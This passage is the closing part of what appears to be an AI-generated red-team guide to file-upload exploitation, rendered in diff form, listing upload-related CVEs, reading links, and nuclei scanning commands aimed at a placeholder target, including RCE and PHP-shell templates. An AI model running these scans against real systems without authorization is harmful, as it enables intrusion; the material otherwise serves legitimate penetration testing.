| CVE | Vulnerability | Affected Software |
|
|
1489
|
+
|---|---|---|
|
|
1490
|
+
| CVE-2016-3714 | ImageTragick RCE via delegate | ImageMagick < 6.9.3-10 |
|
|
1491
|
+
| CVE-2018-16509 | Ghostscript RCE via PostScript | Ghostscript < 9.24 |
|
|
1492
|
+
| CVE-2019-6116 | Ghostscript bypass | Ghostscript < 9.28 |
|
|
1493
|
+
| CVE-2021-22205 | GitLab RCE via image upload (ExifTool) | GitLab < 13.10.3 |
|
|
1494
|
+
| CVE-2022-1388 | F5 BIG-IP RCE | F5 BIG-IP |
|
|
1495
|
+
| CVE-2023-4966 | Citrix Bleed | Citrix NetScaler |
|
|
1496
|
+
|
|
1497
|
+
### Reading and Learning
|
|
1498
|
+
|
|
1499
|
+
```
|
|
1500
|
+
# PortSwigger Web Security Academy — File Upload Vulnerabilities
|
|
1501
|
+
https://portswigger.net/web-security/file-upload
|
|
1502
|
+
|
|
1503
|
+
# OWASP Testing Guide — OTG-BUSLOGIC-009
|
|
1504
|
+
https://owasp.org/www-project-web-security-testing-guide/
|
|
1505
|
+
|
|
1506
|
+
# HackTricks — File Upload
|
|
1507
|
+
https://book.hacktricks.xyz/pentesting-web/file-upload
|
|
1508
|
+
|
|
1509
|
+
# PayloadsAllTheThings
|
|
1510
|
+
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files
|
|
1511
|
+
|
|
1512
|
+
# ImageMagick exploit details
|
|
1513
|
+
https://imagetragick.com/
|
|
1514
|
+
|
|
1515
|
+
# ZIP Slip research (Snyk)
|
|
1516
|
+
https://snyk.io/research/zip-slip-vulnerability
|
|
1517
|
+
|
|
1518
|
+
# ExifTool arbitrary code execution (GitLab case study)
|
|
1519
|
+
https://devcraft.io/2021/05/04/gitlab-universal-code-execution-due-to-path-traversal-in-exiftool.html
|
|
1520
|
+
|
|
1521
|
+
# Real-world upload bypass writeups (HackerOne)
|
|
1522
|
+
https://hackerone.com/reports/808287
|
|
1523
|
+
https://hackerone.com/reports/880099
|
|
1524
|
+
https://hackerone.com/reports/683251
|
|
1525
|
+
```
|
|
1526
|
+
|
|
1527
|
+
### Nuclei Templates for Upload Testing
|
|
1528
|
+
|
|
1529
|
+
```bash
|
|
1530
|
+
# Install community templates
|
|
1531
|
+
nuclei -update-templates
|
|
1532
|
+
|
|
1533
|
+
# Run file upload specific templates
|
|
1534
|
+
nuclei -u https://TARGET -t vulnerabilities/generic/file-upload-rce.yaml
|
|
1535
|
+
nuclei -u https://TARGET -t vulnerabilities/generic/arbitrary-file-upload.yaml
|
|
1536
|
+
nuclei -u https://TARGET -t exposures/files/php-shell.yaml
|
|
1537
|
+
|
|
1538
|
+
# Custom nuclei template for upload endpoint detection
|
|
1539
|
+
cat > /tmp/upload-detect.yaml << 'EOF'
|
|
1540
|
+
id: upload-endpoint-detect
|
|
1541
|
+
info:
|
|
1542
|
+
name: File Upload Endpoint Detection
|
|
1543
|
+
severity: info
|
|
1544
|
+
tags: file-upload,discovery
|
|
1545
|
+
|
|
1546
|
+
http:
|
|
1547
|
+
- method: GET
|
|
1548
|
+
path:
|
|
1549
|
+
- "{{BaseURL}}/upload"
|
|
1550
|
+
- "{{BaseURL}}/api/upload"
|
|
1551
|
+
- "{{BaseURL}}/file/upload"
|
|
1552
|
+
- "{{BaseURL}}/media/upload"
|
|
1553
|
+
- "{{BaseURL}}/document/upload"
|
|
1554
|
+
matchers-condition: or
|
|
1555
|
+
matchers:
|
|
1556
|
+
- type: word
|
|
1557
|
+
words:
|
|
1558
|
+
- "multipart"
|
|
1559
|
+
- "file upload"
|
|
1560
|
+
- "choose file"
|
|
1561
|
+
- "drag and drop"
|
|
1562
|
+
condition: or
|
|
1563
|
+
case-insensitive: true
|
|
1564
|
+
- type: status
|
|
1565
|
+
status:
|
|
1566
|
+
- 200
|
|
1567
|
+
- 405
|
|
1568
|
+
EOF
|
|
1569
|
+
|
|
1570
|
+
nuclei -u https://TARGET -t /tmp/upload-detect.yaml
|
|
1571
|
+
```
|
|
1572
|
+
|
|
1573
|
+
---
|
|
1574
|
+
|
|
1575
|
+
*Generated by RTExit skill engine — rt-exploit-file-upload*
|
|
1576
|
+
*Classification: RED TEAM INTERNAL — Handle per engagement rules of engagement*
|